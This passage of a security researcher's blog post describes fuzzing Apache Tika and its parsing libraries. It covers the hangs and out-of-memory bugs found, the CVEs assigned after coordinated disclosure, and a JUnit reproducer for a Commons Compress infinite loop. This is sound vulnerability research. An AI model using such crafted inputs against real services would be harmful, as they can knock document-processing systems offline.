        permission java.util.PropertyPermission "pdfbox.fontcache", "read";
        permission java.util.PropertyPermission "file.encoding", "read";
    
        //When parsing certain PDFs...
        permission java.util.PropertyPermission "user.home", "read";
        permission java.util.PropertyPermission "com.ctc.wstx.returnNullForDefaultNamespace", "read";
        
        //When parsing certain .mdb files...
        permission java.util.PropertyPermission "com.healthmarketscience.jackcess.resourcePath", "read";
        permission java.util.PropertyPermission "com.healthmarketscience.jackcess.brokenNio", "read";
        permission java.util.PropertyPermission "com.healthmarketscience.jackcess.charset.VERSION_3", "read";
        permission java.util.PropertyPermission "com.healthmarketscience.jackcess.columnOrder", "read";
        permission java.util.PropertyPermission "com.healthmarketscience.jackcess.enforceForeignKeys", "read";
        permission java.util.PropertyPermission "com.healthmarketscience.jackcess.allowAutoNumberInsert", "read";
        permission java.util.PropertyPermission "com.healthmarketscience.jackcess.timeZone", "read";
    };
    

    To produce this policy file manually was much more annoying than for Apache Commons. The reason is that the necessary permissions we need to whitelist depend on the input file. So if a PNG file is fed into Apache Tika, it will need other runtime property permissions than if a PDF file is fed into Apache Tika. This means that we have to do a dry run first that will go through the entire input corpus of files and run them once with the minimum policy file. If a security exception occurs, it might be necessary to whitelist another permission. This process takes a lot of time. However, as an article from 2004 states:

    There's currently no tool available to automatically generate a [Java security] policy file for specific code.
    So that's why I wrote another quick'n'dirty hack/tool to generate Java security policy files. As it's not a beauty I gave it the ugly name TMSJSPGE on github. However, it does it's job and generates a Java security policy file. It will feed each corpus file to the target process (Tika in this case) and add a new rule to the security policy.

    If you look at the above property permissions, I'm still not sure what they are all doing. However, I just decided I'll go with them and allow Tika to use them.

    If you run your fuzzer with different input files, you might be required to adopt the Java Security policy, as other code paths might require new permissions. So the above security policy for Apache Tika is likely to be incomplete.

    Apache Tika findings

    As already explained, a good input corpus is vital for a successful fuzzing run. Additionally, I had to run Tika with as many files as possible to make sure the Java Security Policy covered most permissions necessary. Over the years I've collected many input sample files (around 100'000) by doing fuzzing runs with various libraries and by collecting third-party files (that's actually a topic for another day). So I decided I will run the TMSJSPGE tool with each of these 100'000 files to create the best Security Policy I can. When I checked back on the TMSJSPGE I saw that the tool was stuck feeding a certain file to Apache Tika. This means that Apache Tika never returned a result and the process hung. And that meant I already found security issues in Apache Tika 1.17 before I even started fuzzing. After removing the file that resulted in a hang and restarting TMSJSPGE, Apache Tika hung with several other files as well. Some of the files triggered the same hang and after deduplicating, the following two security issues were reported to Apache Tika:

    I was wondering where these input files I had in my collection were coming from. Several BPG files triggering the issue were from a fuzzing run I once did for libbpg, so they were produced by AFL when creating BPG files for a native library. But the chm file triggering the other issue was a file that I downloaded a long time ago from the fuzzing project. It was a file Hanno Böck provided that came out of a fuzzing run for CHMLib. Interesting.

    So here I was and had already found an uncaught exception in Apache Commons and two low severity issues in Apache Tika without even starting to do proper fuzzing.

    To get an idea of the Java classes causing the issue I ran Apache Tika with a debugger and the triggering file, stopped the execution during the infinite loop and printed a stack trace. But most of the hard work to figure out the actual root causes of these issues was done by the maintainers, most importantly by Tim Allison and the Apache Tika team. That is also true for all the upcoming issues.

    Fuzzing Apache Tika with Kelinci

    After sorting out the input files that resulted in a hang, I started a couple of afl-fuzz fuzzing instances and waited. The behavior of the Kelinci fuzzer is sometimes a little brittle, so I often got the "Queue full" error message. It means the fuzzer is not running properly anymore and that timeouts will occur. I had to restart the fuzzing instances several times and tried to tweak the command line settings to improve stability. However, over time the instances often managed to fill up the queue again. Anyway, a couple of instances ran fine and found several "AFL crashes". Keep in mind that "AFL crashes" in this case just mean uncaught Java exceptions. After looking through and deduplicating issues, I reported the following non-security (or very low severity, a matter of definition) issues to the maintainers of the libraries used by Apache Tika:

    The hang directory of AFL did not show any interesting results. After running each of the files in the hang directory with Apache Tika I found a PDF file that took nearly a minute to process, but none of the files lead to a full hang of the Tika thread. I suspect that the synchronization of the two processes was one of the reasons no infinite hangs were found by the fuzzer.

    However, at this stage I was most disappointed that none of the crashes indicated that anything outside of the specified Java Security Manager policy was triggered. I guess this was a combination of my brittle configuration of Kelinci and the fact that it is probably not as easy to find arbitrary file read or write issues. But in the end you often simply don't know what's exactly the reason for not being successful with fuzzing.

    JQF and a bug in Java

    At one point I also wanted to try the JQF fuzzer on my ARM fuzzing machines with Apache Tika. It didn't work for me at first and I found out that OpenJDK on ARM had horrible performance with JQF, so I switched to Oracle's Java. Additionally, Apache Tika would simply not run with JQF. After the Tika 1.17 issues were fixed in Apache Tika I thought it was time to notify the maintainers of the fuzzers, so they could try to fuzz Apache Tika themselves. Rohan (maintainer of JQF) quickly fixed three independent issues and implemented a test case/benchmark for the fixed Tika 1.18 in JQF. After that I was able to fuzz Tika with my own corpus, but the performance was very bad for various reasons. One reason was the weak ARM boxes, but JQF couldn't handle timeouts either (AFL's -t switch). Rohan attempted a fix, but it's only working sometimes. Rohan was also very quick to implement afl-cmin and said running with a Java Security Manager policy should be no problem. However, I couldn't try those features properly due to the performance problems on the ARM machines. As I was not in the mood to switch fuzzing boxes, I just tried to get the fuzzer running somehow. After cutting down the input corpus and removing all PDF files that were taking potentially longer to be processed by Apache Tika, the fuzzer crept slowly forward. After not paying attention for 10 days, another hang was found by JQF in Apache Tika 1.18... I thought! However, after submitting this bug to Apache Tika, they pointed out that this was actually a bug in the Java standard libraries affecting Java before version 10 that I rediscovered:

    • Endless loop in RiffReader (file 10_hang.riff), where the code simply never returned. Unfortunately Java/Oracle never assigned a CVE for this. So Tim Allison from Apache Tika asked them to assign one, after 3 months and an endless stream of status update emails with no content we are still waiting for a CVE number. As this is not fixed in Java 8, Tim Allison also mitigated it on the Apache Tika side.

    The hang file was created by the JQF fuzzer by modifying a sample QCP file "fart_3.qcp" from the public ffmpeg samples. So without actively targeting Java itself, I had rediscovered a bug in Java's standard libraries, as Tika used it. Quite an interesting twist.

    Adding a x86 fuzzing box

    At the same time I also realized that these ARM JQF fuzzer instances were stuck. The endless RIFF loop file was detected as a crash (which might just be bad behavior of JQF for hangs), so I didn't really know the reason why they were stuck currently. I tried to run the current input file on another machine, but the testcase didn't hang. So I didn't figure out why the fuzzer got stuck, but as Rohan pointed out the timeout handling (AFL's "hangs") isn't optimal yet. JQF will detect timeouts when the infinite loop hits instrumented part of the Java code, as it will be able to measure the time that passed. However, JQF will hang for now if a test file makes the code loop forever in non-instrumented code. I removed all RIFF/QCP input files so hopefully I wouldn't rediscover the RIFF endless loop bug again (I never switched to Java 10) and restarted the fuzzing instances.

    I decided to additionally use a 32bit x86 VMWare fuzzing box, maybe it would run more stable there. I setup JQF with Java 8 again and without RIFF files as inputs. The x86 virtual machine performed much better, executing around 10 testcases per second. So I let these instances run for several days... just to realize when I came back that both instances got stuck after 7 hours of running. I checked again if the current input file could be the reason and this time this was exactly the problem, so another bug. Rinse and repeat, the next morning another bug. So after a while (at least 5 iterations) I had a bag full of bugs:

    • An endless loop in Junrar (file 11_hang_junrar_zero_header2.rar), where the code simply never returned when the rar header size is zero. I contacted one of the maintainers, beothorn. It was fixed and this issue ended up as CVE-2018-12418.
    • Infinite loop in Apache Tika's IptcAnpaParser for handling IPTC metadata (file 12_hang_tika_iptc.iptc), where the code simply never returned. This was fixed and assigned CVE-2018-8017.
    • Infinite loop in Apache PDFbox' AdobeFontMetricsParser (file 16_570s_fontbox_OOM.afm), after nearly 10 minutes (on my machine) leading to an out of memory situation. This was fixed and assigned CVE-2018-8036.
    • An issue when a specially crafted zip content is read with Apache Commons Compress (file 14_69s_tagsoup_HTMLScanner_oom.zip) that leads to an out of memory exception. This was fixed in Apache Commons Compress and CVE-2018-11771 was assigned. Another zip file created (file 15_680s_commons_IOE_push_back_buffer_full.zip) runs for 11 minutes (on my machine) leading to IOException with a message that the push back buffer is full and is probably related to the issue. Also probably the same issue is a file where Tika takes an arbitrary amount of time (during the tests between 20 seconds and 11 minutes) to process a zip file (file 13_48s_commons_truncated_zip_entry3.zip). This last one is worth a note as JQF correctly detected this as a hang and put it in AFL's hang directory. The underlying problem of CVE-2018-11771 was that a read operation started to return alternating values of -1 and 345 when called by an InputStreamReader with UTF-16. The minimal code to reproduce is:
    @Test
    public void testMarkResetLoop() throws Exception {
        InputStream is = Files.newInputStream(Paths.get("C:/14_69s_tagsoup_HTMLScanner_oom.zip"));
        ZipArchiveInputStream archive = new ZipArchiveInputStream(is);
        ZipArchiveEntry entry = archive.getNextZipEntry();
        while (entry != null) {
            if (entry.getName().contains("one*line-with-eol.txt")) {
                Reader r = new InputStreamReader(archive, StandardCharsets.UTF_16LE);
                int i = r.read();
                int cnt = 0;
                while (i != -1) {
                    if (cnt++ > 100000) {
                        throw new RuntimeException("Infinite loop detected...");
                    }
                    i = r.read();
                }
            }
            entry = archive.getNextZipEntry();
        }
    }
    

    After all these fixes I ran the fuzzer again on a nightly build of Apache Tika 1.19 and it didn't find any new issues in more than 10 days. So my approach of fuzzing Tika seems to be exhausted. As always, it doesn't mean another approach wouldn't find new issues.

    Summary

    This is where I stopped my journey of Java fuzzing for now. I was a little disappointed that the approach with the Java Security Manager still did not find any security issues such as SSRF and that I only found ressource management issues. However, I'm pretty sure this strategy is still the way to go, it probably just needs other targets. As you can see there are loose ends everywhere and I'm definitely planning to go back to Java fuzzing:

    • Use Kelinci/JQF with other Apache Commons parsers, e.g. for PNG
    • Write sanitizers such as file or socket opening for native code AFL
    • Contribute to the AFL-based Java fuzzers

    However, for now there are other things to break on my stack.

    I would like to thank Tim Allison of the Apache Tika project, it was a pleasure to do coordinated disclosure with him. And also a big thanks to Rohan Padhye who was really quick implementing new features in JQF.

    Make sure you add the files included on https://github.com/modzero/mod0javaFuzzingResults to your input corpus collection, as we saw it's worth having a collection of crashes for other libraries when targeting new libraries.


    Posted by Tobias Ospelt | Permanent link